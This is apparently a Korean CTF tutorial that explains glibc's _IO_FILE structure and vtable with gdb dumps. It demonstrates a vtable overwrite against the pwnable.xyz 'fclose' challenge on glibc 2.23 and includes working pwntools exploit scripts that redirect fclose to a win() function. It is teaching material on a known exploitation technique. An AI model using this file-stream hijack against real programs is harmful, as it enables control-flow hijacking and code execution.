🗂️ INDEX

글 작성자: Universe7202

 

_IO_FILE

리눅스 시스템의 표준 라이브러리에서 파일 스트림을 나타내기 위한 구조체입니다.

이 구조체는 `fopen()`, `fwrite()`, `fclose()` 등 파일 스트림을 사용하는 함수가 호출되었을때 할당 됩니다.

 

`_IO_FILE`의 구조체는 다음과 같습니다.

struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */
  struct _IO_marker *_markers;
  struct _IO_FILE *_chain;
  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];
  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

 

위 구조체를 실습으로 확인을 해보겠습니다. 

// gcc -o file2 file2.c 
#include <stdio.h>
int main()
{
	char file_data[256];
	int ret;
	FILE *fp;
	
	strcpy(file_data, "AAAA");
	fp = fopen("testfile","r");
	fread(file_data, 1, 256, fp);
	printf("%s",file_data);
	fclose(fp);
}

 

아래 메모리는 `fread()` 함수가 호출되기 전에 fp에 할당된 값입니다. `_IO_FILE` 구조체의 크기는 `0xd0` 입니다. 이는 `0x602260 ~ 0x602330` 까지 입니다. `0x602338`은 `vtable`라는 변수이고, 아래에서 설명합니다.

gdb-peda$ x/40gx 0x602260
0x602260:       0x00000000fbad2488      0x0000000000000000
0x602270:       0x0000000000000000      0x0000000000000000
0x602280:       0x0000000000000000      0x0000000000000000
0x602290:       0x0000000000000000      0x0000000000000000
0x6022a0:       0x0000000000000000      0x0000000000000000
0x6022b0:       0x0000000000000000      0x0000000000000000
0x6022c0:       0x0000000000000000      0x00007ffff7dd0680
0x6022d0:       0x0000000000000003      0x0000000000000000
0x6022e0:       0x0000000000000000      0x0000000000602340
0x6022f0:       0xffffffffffffffff      0x0000000000000000
0x602300:       0x0000000000602350      0x0000000000000000
0x602310:       0x0000000000000000      0x0000000000000000
0x602320:       0x0000000000000000      0x0000000000000000
0x602330:       0x0000000000000000      0x00007ffff7dcc2a0

 

 

아래 메모리는 `fread()` 함수를 실행한 뒤 fp에 할당된 값입니다. `0x602260 + 0x8` 값을 보면 heap 영역에 값이 할당이 되어 있는데, 이 값은 testfile 파일의 내용이 들어가 있습니다.

gdb-peda$ x/40gx 0x602260
0x602260:       0x00000000fbad2498      0x0000000000602490
0x602270:       0x0000000000602490      0x0000000000602490
0x602280:       0x0000000000602490      0x0000000000602490
0x602290:       0x0000000000602490      0x0000000000602490
0x6022a0:       0x0000000000603490      0x0000000000000000
0x6022b0:       0x0000000000000000      0x0000000000000000
0x6022c0:       0x0000000000000000      0x00007ffff7dd0680
0x6022d0:       0x0000000000000003      0x0000000000000000
0x6022e0:       0x0000000000000000      0x0000000000602340
0x6022f0:       0xffffffffffffffff      0x0000000000000000
0x602300:       0x0000000000602350      0x0000000000000000
0x602310:       0x0000000000000000      0x0000000000000000
0x602320:       0x00000000ffffffff      0x0000000000000000
0x602330:       0x0000000000000000      0x00007ffff7dcc2a0

 

 

 

`gdp-peda` 를 통해 `p *_IO_list_all` 명령어로 현재 할당된 `_IO_FILE` 구조체를 볼 수 있습니다. 아래 구조체를 보면 크게 `file` 과 `vtable`로 나누어져 있는데, 사실 `_IO_FILE`의 구조체가 해당되는 변수는 `file` 입니다.

`file`과 `vtable` 변수 2개를 합치면 `_IO_FILE_plus` 라는 구조체가 됩니다.

gdb-peda$ p *_IO_list_all
$4 = {
  file = {
    _flags = 0xfbad2498, 
    _IO_read_ptr = 0x602490 "", 
    _IO_read_end = 0x602490 "", 
    _IO_read_base = 0x602490 "", 
    _IO_write_base = 0x602490 "", 
    _IO_write_ptr = 0x602490 "", 
    _IO_write_end = 0x602490 "", 
    _IO_buf_base = 0x602490 "", 
    _IO_buf_end = 0x603490 "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7ffff7dd0680 <_IO_2_1_stderr_>, 
    _fileno = 0x3, 
    _flags2 = 0x0, 
    _old_offset = 0x0, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "", 
    _lock = 0x602340, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x602350, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0xffffffff, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7ffff7dcc2a0 <_IO_file_jumps>
}

 

 

위 설명을 그림으로 나타내면 다음과 같습니다. `_IO_FILE_plus` 구조체는 `_IO_FILE` 구조체와 `vtable` 변수를 가지고 있는 겁니다.

 

 

 

vtable and _IO_file_jumps

`_IO_FILE_plus` 구조체가 `_IO_FILE` 구조체와 `vtable` 구조를 나타내는 것을 알 수 있습니다.

위에서 `fp` 변수의 메모리 구조를 설명했었습니다. `_IO_FILE` 구조체의 크기는 `0x602260 ~ 0x602330` 까지 `0xd0` 크기를 가지고, `0x602338`은 `vtable` 입니다. 

gdb-peda$ x/40gx 0x602260
0x602260:       0x00000000fbad2498      0x0000000000602490
0x602270:       0x0000000000602490      0x0000000000602490
0x602280:       0x0000000000602490      0x0000000000602490
0x602290:       0x0000000000602490      0x0000000000602490
0x6022a0:       0x0000000000603490      0x0000000000000000
0x6022b0:       0x0000000000000000      0x0000000000000000
0x6022c0:       0x0000000000000000      0x00007ffff7dd0680
0x6022d0:       0x0000000000000003      0x0000000000000000
0x6022e0:       0x0000000000000000      0x0000000000602340
0x6022f0:       0xffffffffffffffff      0x0000000000000000
0x602300:       0x0000000000602350      0x0000000000000000
0x602310:       0x0000000000000000      0x0000000000000000
0x602320:       0x00000000ffffffff      0x0000000000000000
0x602330:       0x0000000000000000      0x00007ffff7dcc2a0

gdb-peda$ x/4gx 0x00007ffff7dcc2a0                                                                                  
0x7ffff7dcc2a0 <_IO_file_jumps>:        0x0000000000000000      0x0000000000000000
0x7ffff7dcc2b0 <_IO_file_jumps+16>:     0x00007ffff7a703a0      0x00007ffff7a71370

 

`vtable` 변수의 값은 위를 참고하자면 `0x00007ffff7dcc2a0`입니다. 이는 `_IO_file_jumps` 구조체의 주소를 가리키고 있습니다. `_IO_file_jumps` 구조체는 파일과 관련된 여러개의 함수 포인터 들이 저장되어 있습니다.

 

`gdb-peda`로 `p _IO_file_jumps` 명령어를 입력하면 `_IO_file_jumps` 구조체를 볼 수 있습니다.

구조체를 보면 아래와 같이 파일과 관련된 여러개의 함수 포인터들이 저장된 것을 볼 수 있습니다.

gdb-peda$ p _IO_file_jumps
$5 = {
  __dummy = 0x0, 
  __dummy2 = 0x0, 
  __finish = 0x7ffff7a703a0 <_IO_new_file_finish>, 
  __overflow = 0x7ffff7a71370 <_IO_new_file_overflow>, 
  __underflow = 0x7ffff7a71090 <_IO_new_file_underflow>, 
  __uflow = 0x7ffff7a72430 <__GI__IO_default_uflow>, 
  __pbackfail = 0x7ffff7a73cc0 <__GI__IO_default_pbackfail>, 
  __xsputn = 0x7ffff7a6f9a0 <_IO_new_file_xsputn>, 
  __xsgetn = 0x7ffff7a6f600 <__GI__IO_file_xsgetn>, 
  __seekoff = 0x7ffff7a6ec00 <_IO_new_file_seekoff>, 
  __seekpos = 0x7ffff7a72a00 <_IO_default_seekpos>, 
  __setbuf = 0x7ffff7a6e8c0 <_IO_new_file_setbuf>, 
  __sync = 0x7ffff7a6e740 <_IO_new_file_sync>, 
  __doallocate = 0x7ffff7a62170 <__GI__IO_file_doallocate>, 
  __read = 0x7ffff7a6f980 <__GI__IO_file_read>, 
  __write = 0x7ffff7a6f200 <_IO_new_file_write>, 
  __seek = 0x7ffff7a6e980 <__GI__IO_file_seek>, 
  __close = 0x7ffff7a6e8b0 <__GI__IO_file_close>, 
  __stat = 0x7ffff7a6f1f0 <__GI__IO_file_stat>, 
  __showmanyc = 0x7ffff7a73e40 <_IO_default_showmanyc>, 
  __imbue = 0x7ffff7a73e50 <_IO_default_imbue>
}

 

 

 

위 구조체를 정리하여 그림으로 나타내면 다음과 같습니다.

 

 

 

 

 

vtable overwrite

vtable overwrite를 설명하기 전에 이 공격 방법은 `glic 2.24` 부터는 bypass 할 수 없습니다.

`_IO_validate_vtable()` 함수가  vtable overwrite 여부를 확인 하기 때문입니다.

 

이러한 security check도 우회가 가능하지만, 이번 포스트에서는 `glic 2.23 버전 이하를 기준으로 설명`을 진행 하겠습니다.

 

이 공격은 `GOT`를 덮을 수 없을 수 없는 답도 없는 상황이고, 만약 공격자가 `_IO_FILE` 구조체에 값을 쓸 수가 있다면 `vtable`을 overwrite 해서 원하는 함수를 실행 할 수 있습니다.

 

 

실습 파일은 https://pwnable.xyz 사이트에 있는 `fclose` 문제를 사용하겠습니다.

challenge_39.gz
0.00MB

 

해당 문제를 보면 `libc 2.23` 버전을 이용한 것을 알 수 있습니다.

 

 

위 문제의 바이너리를 c코드로 간단히 나타내면 다음과 같습니다. 공격자는 `0x601260` 에 값을 입력할 수 있고, `fclose()` 함수로 파일 스트림을 닫습니다.

#include <stdio.h>

void win(){
    system("cat flag");
}

int main(){
    printf("> ");
    read(0, 0x601260, 0x404);  //   1028
    flose(0x601260);
}

 

 

 

위에서 설명했듯이, `vtable` 를 조작하면 `fclose()` 함수가 호출 될때 `vtable` 값을 참조하여 그 곳으로 `jmp` 합니다.

하지만 확인 해야 할게 있습니다.

 

아래 `python` 코드로 `fake _IO_FILE`  구조체를 만들고 `vtable`에 `"A"*8` 를 입력한 뒤 gdb를 봅니다.

`_IO_FILE` 구조체에서 `_lock` 변수가 있는데, 이는 무조건 쓰기 권한이 있는 주소를 넣어줘야 합니다.

(이 변수는 멀티스레딩 환경에서 파일을 읽고 쓸때, race condition을 방지 하게 위해 사용된다고 합니다.)

from pwn import *
import gdb_attach

p = process("./challenge", env={"LD_PRELOAD" : "./libc-2.23.so"})
e = ELF("./challenge")
gdb_attach.attach(p)

payload = p64(0) * 17
payload += p64(e.symbols["input"] + 0x20)  	# _lock
payload += p64(0) * 9
payload += "A" * 8	# fake vtable

p.sendlineafter("> ", payload)

p.interactive()

 

 

위 코드를 실행하면, 아래 사진처럼 특정한 곳에서 멈추게 되는데, `rax` 값이 `0x4141414141414141` 이어서 에러가 발생하게 됩니다. 중요하게 봐야 하는 부분입니다.

fclose() 함수가 호출 될때, 발생한 에러

 

위 사진을 보면 `call QWORD PTR [rax + 0x10]` 에서 멈췄는데, `rax` 값 때문에 발생한 에러 입니다. 이때의 `rax` 값은 python 코드로 `fake _IO_FILE`을 만들때 `fake vtable` 값입니다. 이를 잘 조작하면 `call` 함수로 인해 원하는 곳으로 점프하게 됩니다.

 

근데 왜 0x10 을 더한 것일까요? 이유는 기존의 `vtable` 값은 `_IO_file_jumps` 구조체를 가르킨다고 위에서 설명했습니다. 현재 실습 코드는 `fclose()` 함수가 호출할때 발생한 에러 입니다. `_IO_file_jumps` 구조체를 다시 보면 아래와 같습니다. `fclose()` 함수로 점프하기 위해서는 `*vtable + 0x10` 에 함수 포인터가 있습니다. 그래서 `rax + 0x10` 을 하는 것입니다.

const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT_DUMMY2,
  JUMP_INIT(finish, _IO_file_finish),               // fclose()
  JUMP_INIT(overflow, _IO_file_overflow),
  JUMP_INIT(underflow, _IO_file_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_file_xsputn),               // fwrite()
  JUMP_INIT(xsgetn, _IO_file_xsgetn),               // fread()
  JUMP_INIT(seekoff, _IO_new_file_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, _IO_new_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

 

 

 

따라서 `vtable overwrite` 할때 어떤 함수를 호출하는지, 그에 맞는 값을 더해주는 것입니다.

예를들면, `fwrite()` 함수가 호출 될때는 `*vtable + 0x38`, `fread()` 함수가 호출 될때는 `*vtable + 0x40` 이렇게 된다는 겁니다.

 

 

다시 실습으로 돌아와서, 원하는 곳으로 `call` 하기 위한 `rax` 값을 생각해 봅시다.

 

예를들어, input 변수의 주소를 `0x601280` 이라고 하겠습니다. 공격자는 `*(0x601280 + 0x10)` 에 `call` 할 함수의 주소를 적습니다.

`rax`, 즉 `fake vtable` 값은 `0x601280` 이면 `*(0x601280 + 0x10)` 의 값으로 `call` 하게 됩니다.

fclose() 함수가 호출 될때, 발생한 에러

 

 

필자는 실행시킬 함수의 주소를 `input + 0xe0` 에 적었습니다. `_IO_FILE_plus` 구조체가 끝나는 다음 부분이죠.

아래 코드를 실행하면 `win()` 함수가 실행되어 `flag`를 획득 할 수 있습니다.

from pwn import *

p = process("./challenge", env={"LD_PRELOAD" : "./libc-2.23.so"})
e = ELF("./challenge")

payload = p64(0) * 17
payload += p64(e.symbols["input"] + 0x20)   # _lock
payload += p64(0) * 9
payload += p64(e.symbols["input"] - 0x10 + 0xe0)      # fake vtable
payload += p64(e.symbols["win"])

p.sendlineafter("> ", payload)

p.interactive()